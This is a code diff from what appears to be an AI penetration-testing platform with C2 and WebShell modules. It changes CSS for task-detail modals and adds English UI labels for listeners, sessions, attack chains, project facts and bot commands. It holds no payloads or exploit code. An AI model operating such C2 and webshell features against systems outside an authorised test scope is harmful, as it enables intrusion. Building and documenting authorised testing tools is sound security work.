font-size: 11px;
|
||||||
|
color: var(--c2-text-dim);
|
||||||
|
white-space: nowrap;
|
||||||
|
max-width: 220px;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
}
|
||||||
|
|
||||||
.c2-file-list {
|
.c2-file-list {
|
||||||
background: var(--c2-surface);
|
background: var(--c2-surface);
|
||||||
border-radius: var(--c2-radius);
|
border-radius: var(--c2-radius);
|
||||||
@@ -1218,32 +1172,172 @@
|
|||||||
Task Detail Modal
|
Task Detail Modal
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
|
|
||||||
.c2-task-detail { line-height: 2; }
|
.c2-modal.c2-modal--wide {
|
||||||
.c2-task-detail > div { margin-bottom: 6px; font-size: 13px; }
|
max-width: 720px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-modal-header {
|
||||||
|
align-items: flex-start;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-modal-heading {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 12px;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-modal-heading h3 {
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-detail {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-detail-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(2, minmax(0, 1fr));
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 6px;
|
||||||
|
padding: 12px 14px;
|
||||||
|
background: var(--c2-surface-alt);
|
||||||
|
border: 1px solid var(--c2-border);
|
||||||
|
border-radius: var(--c2-radius-sm);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__label {
|
||||||
|
font-size: 11px;
|
||||||
|
font-weight: 600;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--c2-text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__value {
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: 500;
|
||||||
|
color: var(--c2-text);
|
||||||
|
word-break: break-all;
|
||||||
|
line-height: 1.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__value--mono {
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--c2-text-dim);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__value--accent {
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--c2-accent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-timeline {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(3, minmax(0, 1fr));
|
||||||
|
gap: 10px;
|
||||||
|
padding: 14px 16px;
|
||||||
|
background: linear-gradient(135deg, rgba(59, 130, 246, 0.06), rgba(59, 130, 246, 0.02));
|
||||||
|
border: 1px solid rgba(59, 130, 246, 0.14);
|
||||||
|
border-radius: var(--c2-radius-sm);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-time-card {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 6px;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-time-card:not(:last-child) {
|
||||||
|
padding-right: 10px;
|
||||||
|
border-right: 1px solid rgba(59, 130, 246, 0.12);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-code-section,
|
||||||
|
.c2-task-error-section {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-code-header {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-code-title {
|
||||||
|
font-size: 12px;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--c2-text-dim);
|
||||||
|
}
|
||||||
|
|
||||||
.c2-task-error {
|
.c2-task-error {
|
||||||
color: var(--c2-red);
|
color: var(--c2-red);
|
||||||
padding: 14px;
|
padding: 14px 16px;
|
||||||
background: var(--c2-red-dim);
|
background: var(--c2-red-dim);
|
||||||
border: 1px solid rgba(239, 68, 68, 0.15);
|
border: 1px solid rgba(239, 68, 68, 0.15);
|
||||||
border-radius: var(--c2-radius-sm);
|
border-radius: var(--c2-radius-sm);
|
||||||
margin-top: 12px;
|
|
||||||
font-size: 13px;
|
font-size: 13px;
|
||||||
|
line-height: 1.55;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-word;
|
||||||
}
|
}
|
||||||
|
|
||||||
.c2-task-result pre {
|
.c2-task-result-pre,
|
||||||
|
.c2-task-command-pre {
|
||||||
background: #0f172a;
|
background: #0f172a;
|
||||||
color: #e2e8f0;
|
color: #e2e8f0;
|
||||||
padding: 16px;
|
padding: 14px 16px;
|
||||||
border-radius: var(--c2-radius-sm);
|
border-radius: var(--c2-radius-sm);
|
||||||
overflow-x: auto;
|
overflow-x: auto;
|
||||||
font-family: var(--c2-mono);
|
font-family: var(--c2-mono);
|
||||||
font-size: 12px;
|
font-size: 12px;
|
||||||
margin-top: 8px;
|
margin: 0;
|
||||||
max-height: 400px;
|
max-height: 360px;
|
||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
border: 1px solid #1e293b;
|
border: 1px solid #1e293b;
|
||||||
line-height: 1.6;
|
line-height: 1.6;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-all;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-command-pre {
|
||||||
|
max-height: 140px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-command-cell {
|
||||||
|
max-width: 220px;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--c2-text-muted, #64748b);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-item-compact .c2-task-command {
|
||||||
|
flex: 1;
|
||||||
|
min-width: 0;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-size: 11px;
|
||||||
|
color: var(--c2-text-muted, #64748b);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ============================================================================
|
/* ============================================================================
|
||||||
@@ -1277,6 +1371,11 @@
|
|||||||
Modal
|
Modal
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
|
|
||||||
|
/* Toast 须高于模态遮罩 (10050),避免被 backdrop-filter 模糊 */
|
||||||
|
#c2-toast-container {
|
||||||
|
z-index: 10100 !important;
|
||||||
|
}
|
||||||
|
|
||||||
.c2-modal-overlay {
|
.c2-modal-overlay {
|
||||||
position: fixed;
|
position: fixed;
|
||||||
top: 0; left: 0; right: 0; bottom: 0;
|
top: 0; left: 0; right: 0; bottom: 0;
|
||||||
@@ -1327,26 +1426,7 @@
|
|||||||
color: var(--c2-text);
|
color: var(--c2-text);
|
||||||
}
|
}
|
||||||
|
|
||||||
.c2-modal-close {
|
/* .c2-modal-close 样式见 style.css 统一关闭按钮 */
|
||||||
font-size: 18px;
|
|
||||||
cursor: pointer;
|
|
||||||
color: var(--c2-text-muted);
|
|
||||||
background: none;
|
|
||||||
border: none;
|
|
||||||
padding: 0;
|
|
||||||
width: 32px;
|
|
||||||
height: 32px;
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
justify-content: center;
|
|
||||||
border-radius: var(--c2-radius-xs);
|
|
||||||
transition: all 0.15s;
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-modal-close:hover {
|
|
||||||
background: var(--c2-surface-alt);
|
|
||||||
color: var(--c2-text);
|
|
||||||
}
|
|
||||||
|
|
||||||
.c2-modal-body { padding: 24px 28px; }
|
.c2-modal-body { padding: 24px 28px; }
|
||||||
|
|
||||||
@@ -1385,7 +1465,15 @@
|
|||||||
border-right: none;
|
border-right: none;
|
||||||
border-bottom: 1px solid var(--c2-border);
|
border-bottom: 1px solid var(--c2-border);
|
||||||
}
|
}
|
||||||
.c2-stats { flex-direction: column; gap: 12px; }
|
|
||||||
.c2-payload-grid { grid-template-columns: 1fr; }
|
.c2-payload-grid { grid-template-columns: 1fr; }
|
||||||
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
|
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
|
||||||
|
.c2-task-detail-grid { grid-template-columns: 1fr; }
|
||||||
|
.c2-task-timeline { grid-template-columns: 1fr; }
|
||||||
|
.c2-task-time-card:not(:last-child) {
|
||||||
|
padding-right: 0;
|
||||||
|
padding-bottom: 10px;
|
||||||
|
border-right: none;
|
||||||
|
border-bottom: 1px solid rgba(59, 130, 246, 0.12);
|
||||||
|
}
|
||||||
|
.c2-modal.c2-modal--wide { max-width: 100%; }
|
||||||
}
|
}
|
||||||
|
|||||||
+2313
-924
File diff suppressed because it is too large
Load Diff
+118
-18
@@ -48,6 +48,7 @@
|
|||||||
},
|
},
|
||||||
"login": {
|
"login": {
|
||||||
"title": "Sign in to CyberStrikeAI",
|
"title": "Sign in to CyberStrikeAI",
|
||||||
|
"titlePrefix": "Sign in to",
|
||||||
"subtitle": "Enter the access password from config",
|
"subtitle": "Enter the access password from config",
|
||||||
"passwordLabel": "Password",
|
"passwordLabel": "Password",
|
||||||
"passwordPlaceholder": "Enter password",
|
"passwordPlaceholder": "Enter password",
|
||||||
@@ -78,7 +79,6 @@
|
|||||||
"settings": "System settings",
|
"settings": "System settings",
|
||||||
"hitl": "Human-in-the-loop",
|
"hitl": "Human-in-the-loop",
|
||||||
"c2": "C2",
|
"c2": "C2",
|
||||||
"c2Manage": "C2 management",
|
|
||||||
"c2Listeners": "Listeners",
|
"c2Listeners": "Listeners",
|
||||||
"c2Sessions": "Sessions",
|
"c2Sessions": "Sessions",
|
||||||
"c2Tasks": "Tasks",
|
"c2Tasks": "Tasks",
|
||||||
@@ -97,8 +97,13 @@
|
|||||||
"clickToViewTasks": "Click to view tasks",
|
"clickToViewTasks": "Click to view tasks",
|
||||||
"clickToViewVuln": "Click to view vulnerabilities",
|
"clickToViewVuln": "Click to view vulnerabilities",
|
||||||
"clickToViewMCP": "Click to view MCP monitor",
|
"clickToViewMCP": "Click to view MCP monitor",
|
||||||
|
"accessOverviewTitle": "Access overview",
|
||||||
|
"accessTabsAria": "C2 and WebShell",
|
||||||
"c2OverviewTitle": "C2 overview",
|
"c2OverviewTitle": "C2 overview",
|
||||||
"c2GoManage": "Open C2 →",
|
"c2GoManage": "Open C2 →",
|
||||||
|
"webshellGoManage": "Open WebShell →",
|
||||||
|
"webshellConnections": "Active connections",
|
||||||
|
"webshellClickConnections": "View connections",
|
||||||
"c2ListenersRunning": "Listeners running",
|
"c2ListenersRunning": "Listeners running",
|
||||||
"c2SessionsOnline": "Sessions online",
|
"c2SessionsOnline": "Sessions online",
|
||||||
"c2TasksPending": "Pending / queued tasks",
|
"c2TasksPending": "Pending / queued tasks",
|
||||||
@@ -152,7 +157,14 @@
|
|||||||
"lastUpdated": "Last updated",
|
"lastUpdated": "Last updated",
|
||||||
"viewAll": "View all →",
|
"viewAll": "View all →",
|
||||||
"recentVulns": "Recent vulnerabilities",
|
"recentVulns": "Recent vulnerabilities",
|
||||||
|
"recentFacts": "Recent facts",
|
||||||
"noVulnYet": "No recent vulnerabilities",
|
"noVulnYet": "No recent vulnerabilities",
|
||||||
|
"noFactsYet": "No recent facts",
|
||||||
|
"noFactsDesc": "In project-bound chats, the agent records targets, findings, and attack chains",
|
||||||
|
"createFirstProjectBtn": "Create first project",
|
||||||
|
"factProjectMeta": "{{project}} · {{key}}",
|
||||||
|
"factsAcrossProjects_one": "{{count}} active project · {{facts}} facts",
|
||||||
|
"factsAcrossProjects_other": "{{count}} active projects · {{facts}} facts",
|
||||||
"capabilities": "Capabilities",
|
"capabilities": "Capabilities",
|
||||||
"mcpTools": "MCP tools",
|
"mcpTools": "MCP tools",
|
||||||
"rolesLabel": "Roles",
|
"rolesLabel": "Roles",
|
||||||
@@ -229,6 +241,13 @@
|
|||||||
"newProjectCta": "+ New project",
|
"newProjectCta": "+ New project",
|
||||||
"projectList": "Project list",
|
"projectList": "Project list",
|
||||||
"searchProjectsPlaceholder": "Search projects…",
|
"searchProjectsPlaceholder": "Search projects…",
|
||||||
|
"paginationShow": "Show {{start}}-{{end}} of {{total}}",
|
||||||
|
"paginationRange": "{{start}}-{{end}}/{{total}}",
|
||||||
|
"paginationTotal": "{{total}} total",
|
||||||
|
"paginationPage": "{{page}}/{{total}}",
|
||||||
|
"paginationPerPage": "Per page",
|
||||||
|
"paginationPrev": "Previous",
|
||||||
|
"paginationNext": "Next",
|
||||||
"selectOrCreateTitle": "Select or create a project",
|
"selectOrCreateTitle": "Select or create a project",
|
||||||
"selectOrCreateHint": "Projects share a cross-chat fact board; target, environment, auth and other facts are auto-injected in bound conversations.",
|
"selectOrCreateHint": "Projects share a cross-chat fact board; target, environment, auth and other facts are auto-injected in bound conversations.",
|
||||||
"createFirstProject": "Create first project",
|
"createFirstProject": "Create first project",
|
||||||
@@ -258,6 +277,9 @@
|
|||||||
"boundConversationsHint": "Conversations bound to this project; click to open",
|
"boundConversationsHint": "Conversations bound to this project; click to open",
|
||||||
"titleLabel": "Title",
|
"titleLabel": "Title",
|
||||||
"projectVulnSummaryHint": "Vulnerability summary under this project",
|
"projectVulnSummaryHint": "Vulnerability summary under this project",
|
||||||
|
"searchVulnsSr": "Search vulnerabilities",
|
||||||
|
"searchVulnsPlaceholder": "Search title, description, type, target…",
|
||||||
|
"noMatchingVulns": "No matching vulnerabilities, try adjusting filters",
|
||||||
"viewInVulnerabilityManagement": "View in vulnerability management",
|
"viewInVulnerabilityManagement": "View in vulnerability management",
|
||||||
"severity": "Severity",
|
"severity": "Severity",
|
||||||
"status": "Status",
|
"status": "Status",
|
||||||
@@ -373,6 +395,7 @@
|
|||||||
"settingsIntroTitle": "Project settings",
|
"settingsIntroTitle": "Project settings",
|
||||||
"settingsIntroHint": "Configure project metadata and Agent authorization boundary; takes effect immediately for bound conversations after saving.",
|
"settingsIntroHint": "Configure project metadata and Agent authorization boundary; takes effect immediately for bound conversations after saving.",
|
||||||
"pinProject": "Pin project (show first in list)",
|
"pinProject": "Pin project (show first in list)",
|
||||||
|
"pinFact": "Pin fact (prioritize in list and blackboard index)",
|
||||||
"editDescriptionPlaceholder": "Targets, authorization scope, contacts, notes…",
|
"editDescriptionPlaceholder": "Targets, authorization scope, contacts, notes…",
|
||||||
"scopeTitle": "Test scope",
|
"scopeTitle": "Test scope",
|
||||||
"scopeHint": "JSON format for Agent authorization boundary and target assets",
|
"scopeHint": "JSON format for Agent authorization boundary and target assets",
|
||||||
@@ -404,6 +427,13 @@
|
|||||||
"addGroup": "New group",
|
"addGroup": "New group",
|
||||||
"recentConversations": "Recent conversations",
|
"recentConversations": "Recent conversations",
|
||||||
"batchManage": "Batch manage",
|
"batchManage": "Batch manage",
|
||||||
|
"paginationShow": "Show {{start}}-{{end}} of {{total}}",
|
||||||
|
"paginationRange": "{{start}}-{{end}}/{{total}}",
|
||||||
|
"paginationTotal": "{{total}} total",
|
||||||
|
"paginationPage": "{{page}}/{{total}}",
|
||||||
|
"paginationPerPage": "Per page",
|
||||||
|
"paginationPrev": "Previous",
|
||||||
|
"paginationNext": "Next",
|
||||||
"attackChain": "Attack chain",
|
"attackChain": "Attack chain",
|
||||||
"viewAttackChain": "View attack chain",
|
"viewAttackChain": "View attack chain",
|
||||||
"selectRole": "Select role",
|
"selectRole": "Select role",
|
||||||
@@ -497,8 +527,6 @@
|
|||||||
"historyGroupEarlier": "Older",
|
"historyGroupEarlier": "Older",
|
||||||
"agentModeSelectAria": "Choose conversation execution mode",
|
"agentModeSelectAria": "Choose conversation execution mode",
|
||||||
"agentModePanelTitle": "Conversation mode",
|
"agentModePanelTitle": "Conversation mode",
|
||||||
"agentModeReactNative": "Native ReAct",
|
|
||||||
"agentModeReactNativeHint": "Classic single-agent ReAct with MCP tools",
|
|
||||||
"agentModeEinoSingle": "Eino single (ADK)",
|
"agentModeEinoSingle": "Eino single (ADK)",
|
||||||
"agentModeEinoSingleHint": "Eino ChatModelAgent + Runner with MCP tools (/api/eino-agent)",
|
"agentModeEinoSingleHint": "Eino ChatModelAgent + Runner with MCP tools (/api/eino-agent)",
|
||||||
"agentModeDeep": "Deep (DeepAgent)",
|
"agentModeDeep": "Deep (DeepAgent)",
|
||||||
@@ -509,7 +537,7 @@
|
|||||||
"agentModeSupervisorHint": "Supervisor coordinates via transfer to sub-agents",
|
"agentModeSupervisorHint": "Supervisor coordinates via transfer to sub-agents",
|
||||||
"agentModeSingle": "Single-agent",
|
"agentModeSingle": "Single-agent",
|
||||||
"agentModeMulti": "Multi-agent",
|
"agentModeMulti": "Multi-agent",
|
||||||
"agentModeSingleHint": "Single-model ReAct loop for chat and tool use",
|
"agentModeSingleHint": "Eino ADK single-agent for chat and tool use",
|
||||||
"agentModeMultiHint": "Eino prebuilt orchestration (deep / plan_execute / supervisor) for complex tasks",
|
"agentModeMultiHint": "Eino prebuilt orchestration (deep / plan_execute / supervisor) for complex tasks",
|
||||||
"reasoningModeLabel": "Model reasoning",
|
"reasoningModeLabel": "Model reasoning",
|
||||||
"reasoningEffortLabel": "Reasoning effort",
|
"reasoningEffortLabel": "Reasoning effort",
|
||||||
@@ -1497,9 +1525,15 @@
|
|||||||
"loading": "Loading...",
|
"loading": "Loading...",
|
||||||
"noStatsData": "No statistical data",
|
"noStatsData": "No statistical data",
|
||||||
"noExecutions": "No execution records",
|
"noExecutions": "No execution records",
|
||||||
|
"emptyHint": "Execution records will appear here after you invoke MCP tools in chat or tasks",
|
||||||
"noRecordsWithFilter": "No records with current filter",
|
"noRecordsWithFilter": "No records with current filter",
|
||||||
"paginationInfo": "Show {{start}}-{{end}} of {{total}} records",
|
"paginationInfo": "Show {{start}}-{{end}} of {{total}} records",
|
||||||
"perPageLabel": "Per page",
|
"perPageLabel": "Per page",
|
||||||
|
"firstPage": "First",
|
||||||
|
"prevPage": "Previous",
|
||||||
|
"nextPage": "Next",
|
||||||
|
"lastPage": "Last",
|
||||||
|
"pageInfo": "Page {{page}} of {{total}}",
|
||||||
"loadStatsError": "Failed to load statistics",
|
"loadStatsError": "Failed to load statistics",
|
||||||
"loadExecutionsError": "Failed to load execution records",
|
"loadExecutionsError": "Failed to load execution records",
|
||||||
"totalCalls": "Total calls",
|
"totalCalls": "Total calls",
|
||||||
@@ -1512,6 +1546,17 @@
|
|||||||
"unknownTool": "Unknown tool",
|
"unknownTool": "Unknown tool",
|
||||||
"successFailedRate": "Success {{success}} / Failed {{failed}} · {{rate}}% success rate",
|
"successFailedRate": "Success {{success}} / Failed {{failed}} · {{rate}}% success rate",
|
||||||
"topToolsTitle": "Top {{n}} tools by calls",
|
"topToolsTitle": "Top {{n}} tools by calls",
|
||||||
|
"toolRankingTitle": "Tool call ranking",
|
||||||
|
"toolStatsTitle": "Tool statistics",
|
||||||
|
"toolStatsHint": "Click a bar segment or row to filter records below; hover to highlight",
|
||||||
|
"scopeCumulative": "All time",
|
||||||
|
"scopeTimeline": "Trend period",
|
||||||
|
"filterActive": "Filtered: {{tool}}",
|
||||||
|
"kpiScopeNote": "Lifetime totals",
|
||||||
|
"columnCalls": "Calls",
|
||||||
|
"columnShare": "Share",
|
||||||
|
"columnSuccessRate": "Success rate",
|
||||||
|
"rankingSummary": "Top {{n}} {{pct}}% · {{total}} total calls",
|
||||||
"barVolumeLegend": "Bar length: relative call volume; green/red: success vs failure share",
|
"barVolumeLegend": "Bar length: relative call volume; green/red: success vs failure share",
|
||||||
"clickToFilterTool": "Click a row to filter records below",
|
"clickToFilterTool": "Click a row to filter records below",
|
||||||
"toolRowAriaLabel": "{{name}}, {{total}} calls, {{rate}}% success rate. Click to filter records.",
|
"toolRowAriaLabel": "{{name}}, {{total}} calls, {{rate}}% success rate. Click to filter records.",
|
||||||
@@ -1524,9 +1569,21 @@
|
|||||||
"rateWarning": "Some failures detected",
|
"rateWarning": "Some failures detected",
|
||||||
"rateCritical": "High failure rate",
|
"rateCritical": "High failure rate",
|
||||||
"statsSubtitle": "Refreshed {{time}} · {{count}} tools",
|
"statsSubtitle": "Refreshed {{time}} · {{count}} tools",
|
||||||
|
"timelineTitle": "Call trend",
|
||||||
|
"timelineHint": "All tools combined (not split by tool)",
|
||||||
|
"timelineRange24h": "24h",
|
||||||
|
"timelineRange7d": "7d",
|
||||||
|
"timelineRange30d": "30d",
|
||||||
|
"timelineSummary": "{{total}} calls in range · peak {{peak}}",
|
||||||
|
"timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}",
|
||||||
|
"timelineNoData": "No calls in this period",
|
||||||
|
"timelineLoadError": "Failed to load call trend",
|
||||||
|
"timelineTotalLegend": "Total calls",
|
||||||
|
"timelineFailedLegend": "Failed",
|
||||||
|
"timelineTooltip": "{{time}}: {{total}} calls ({{failed}} failed)",
|
||||||
"distTitle": "Call distribution",
|
"distTitle": "Call distribution",
|
||||||
"distLegend": "Slice area shows share of all calls",
|
"distLegend": "Slice area shows share of all calls",
|
||||||
"distClickHint": "Click legend or slice to filter records",
|
"distClickHint": "Click a bar segment to filter records",
|
||||||
"distHeaderHint": "{{n}} total calls",
|
"distHeaderHint": "{{n}} total calls",
|
||||||
"distSegmentAria": "{{name}}, {{pct}}% of calls, {{calls}} times",
|
"distSegmentAria": "{{name}}, {{pct}}% of calls, {{calls}} times",
|
||||||
"distOthersNoFilter": "Other tools cannot be filtered individually",
|
"distOthersNoFilter": "Other tools cannot be filtered individually",
|
||||||
@@ -1756,6 +1813,12 @@
|
|||||||
"loadListFailed": "Failed to load",
|
"loadListFailed": "Failed to load",
|
||||||
"noRecords": "No vulnerability records",
|
"noRecords": "No vulnerability records",
|
||||||
"batchExport": "Batch export",
|
"batchExport": "Batch export",
|
||||||
|
"batchDelete": "Batch delete",
|
||||||
|
"batchDeleteNoResults": "No vulnerabilities match the current filters to delete",
|
||||||
|
"batchDeleteConfirm": "Delete {{count}} vulnerability record(s) matching the current filters? This cannot be undone.",
|
||||||
|
"batchDeleteConfirmAll": "No filters are set. This will delete all {{count}} vulnerability record(s). This cannot be undone. Continue?",
|
||||||
|
"batchDeleteSuccess": "Successfully deleted {{count}} vulnerability record(s)",
|
||||||
|
"batchDeleteFailed": "Batch delete failed",
|
||||||
"downloadMarkdownTitle": "Download Markdown",
|
"downloadMarkdownTitle": "Download Markdown",
|
||||||
"exportNoResults": "No vulnerabilities match the current filters",
|
"exportNoResults": "No vulnerabilities match the current filters",
|
||||||
"exportStarted": "Started downloading {{count}} file(s)",
|
"exportStarted": "Started downloading {{count}} file(s)",
|
||||||
@@ -1834,7 +1897,7 @@
|
|||||||
"descPlaceholder": "When the orchestrator should delegate to this agent",
|
"descPlaceholder": "When the orchestrator should delegate to this agent",
|
||||||
"fieldTools": "Tools (comma-separated; same keys as role tools)",
|
"fieldTools": "Tools (comma-separated; same keys as role tools)",
|
||||||
"fieldBindRole": "Bind role (optional)",
|
"fieldBindRole": "Bind role (optional)",
|
||||||
"fieldMaxIter": "Max sub-agent iterations (0 = use global default)",
|
"fieldMaxIter": "Max iterations (0 = use Settings → agent.max_iterations)",
|
||||||
"fieldInstruction": "System prompt (Markdown body)",
|
"fieldInstruction": "System prompt (Markdown body)",
|
||||||
"instructionPlaceholder": "You are a specialist agent...",
|
"instructionPlaceholder": "You are a specialist agent...",
|
||||||
"nameRequired": "Display name is required",
|
"nameRequired": "Display name is required",
|
||||||
@@ -1955,6 +2018,24 @@
|
|||||||
"retryDelay": "Retry delay (ms)",
|
"retryDelay": "Retry delay (ms)",
|
||||||
"retryDelayPlaceholder": "1000",
|
"retryDelayPlaceholder": "1000",
|
||||||
"retryDelayHint": "Delay between retries (ms)",
|
"retryDelayHint": "Delay between retries (ms)",
|
||||||
|
"visionConfig": "Vision analysis (analyze_image)",
|
||||||
|
"visionEnabled": "Enable analyze_image vision tool",
|
||||||
|
"visionEnabledHint": "Registers the MCP tool when enabled; images are sent only for one VL call; agent context keeps text summaries only. Save & apply to take effect.",
|
||||||
|
"visionBaseUrlPlaceholder": "Leave empty to reuse OpenAI Base URL",
|
||||||
|
"visionApiKeyPlaceholder": "Leave empty to reuse OpenAI API Key",
|
||||||
|
"visionModel": "Vision model",
|
||||||
|
"visionModelPlaceholder": "qwen-vl-max",
|
||||||
|
"visionModelRequired": "Vision model name is required when vision is enabled",
|
||||||
|
"visionAdvanced": "Advanced: preprocessing & limits",
|
||||||
|
"visionMaxImageBytes": "Max original file size (bytes)",
|
||||||
|
"visionMaxDimension": "Max long-edge pixels",
|
||||||
|
"visionJpegQuality": "JPEG quality",
|
||||||
|
"visionMaxPayloadBytes": "Max API payload (bytes)",
|
||||||
|
"visionSkipPreprocessBytes": "Passthrough below (bytes)",
|
||||||
|
"visionSkipPreprocessHint": "0 = always JPEG compress; must also fit long-edge and payload limits.",
|
||||||
|
"visionDetail": "Image detail",
|
||||||
|
"visionTimeout": "Timeout (seconds)",
|
||||||
|
"visionTestFillRequired": "Enter vision model and ensure API Key is available (or reuse OpenAI)",
|
||||||
"testConnection": "Test Connection",
|
"testConnection": "Test Connection",
|
||||||
"testFillRequired": "Please fill in API Key and Model first",
|
"testFillRequired": "Please fill in API Key and Model first",
|
||||||
"testing": "Testing connection...",
|
"testing": "Testing connection...",
|
||||||
@@ -2091,17 +2172,25 @@
|
|||||||
"settingsRobotsExtra": {
|
"settingsRobotsExtra": {
|
||||||
"botCommandsTitle": "Bot command instructions",
|
"botCommandsTitle": "Bot command instructions",
|
||||||
"botCommandsDesc": "You can send the following commands in chat (Chinese and English supported):",
|
"botCommandsDesc": "You can send the following commands in chat (Chinese and English supported):",
|
||||||
|
"botCmdCategoryGeneral": "General",
|
||||||
|
"botCmdCategoryConversation": "Conversation",
|
||||||
|
"botCmdCategoryRole": "Role",
|
||||||
|
"botCmdCategoryProject": "Project",
|
||||||
"botCmdHelp": "Show this help",
|
"botCmdHelp": "Show this help",
|
||||||
"botCmdList": "List conversations",
|
"botCmdList": "List conversations",
|
||||||
"botCmdSwitch": "Switch to conversation",
|
"botCmdSwitch": "Switch to conversation",
|
||||||
"botCmdNew": "Start new conversation",
|
"botCmdNew": "Start new conversation",
|
||||||
"botCmdClear": "Clear context",
|
"botCmdClear": "Clear context",
|
||||||
"botCmdCurrent": "Show current conversation",
|
"botCmdCurrent": "Show current conversation, role and project",
|
||||||
"botCmdStop": "Stop running task",
|
"botCmdStop": "Stop running task",
|
||||||
"botCmdRoles": "List roles",
|
"botCmdRoles": "List roles",
|
||||||
"botCmdRole": "Switch role",
|
"botCmdRole": "Switch role",
|
||||||
"botCmdDelete": "Delete conversation",
|
"botCmdDelete": "Delete conversation",
|
||||||
"botCmdVersion": "Show version",
|
"botCmdVersion": "Show version",
|
||||||
|
"botCmdProjects": "List projects",
|
||||||
|
"botCmdNewProject": "Create project and bind current conversation",
|
||||||
|
"botCmdBindProject": "Bind current conversation to a project",
|
||||||
|
"botCmdUnbindProject": "Unbind project from current conversation",
|
||||||
"botCommandsFooter": "Otherwise, send any text for AI penetration testing / security analysis."
|
"botCommandsFooter": "Otherwise, send any text for AI penetration testing / security analysis."
|
||||||
},
|
},
|
||||||
"mcpDetailModal": {
|
"mcpDetailModal": {
|
||||||
@@ -2194,6 +2283,9 @@
|
|||||||
"descriptionPlaceholder": "Short description",
|
"descriptionPlaceholder": "Short description",
|
||||||
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
|
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
|
||||||
"packageFiles": "Package files",
|
"packageFiles": "Package files",
|
||||||
|
"packageFilesHint": "Click a file to edit; folders are labels only and cannot be opened",
|
||||||
|
"folderHint": "Folder (not editable)",
|
||||||
|
"clickToEdit": "Click to edit this file",
|
||||||
"editingFile": "Editing",
|
"editingFile": "Editing",
|
||||||
"newFile": "New file",
|
"newFile": "New file",
|
||||||
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
|
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
|
||||||
@@ -2277,9 +2369,9 @@
|
|||||||
"projectNone": "(Unbound)",
|
"projectNone": "(Unbound)",
|
||||||
"projectHint": "Optionally bind this queue to a project; leave empty to keep it unbound.",
|
"projectHint": "Optionally bind this queue to a project; leave empty to keep it unbound.",
|
||||||
"agentMode": "Agent mode",
|
"agentMode": "Agent mode",
|
||||||
"agentModeSingle": "Single-agent (ReAct)",
|
"agentModeSingle": "Single-agent (Eino ADK)",
|
||||||
"agentModeMulti": "Multi-agent (Eino)",
|
"agentModeMulti": "Multi-agent (Eino)",
|
||||||
"agentModeHint": "Same as chat: native ReAct, Eino single-agent (ADK), or Deep / Plan-Execute / Supervisor (the last three require multi-agent enabled).",
|
"agentModeHint": "Same as chat: Eino single-agent (ADK), or Deep / Plan-Execute / Supervisor (last three require multi_agent.enabled).",
|
||||||
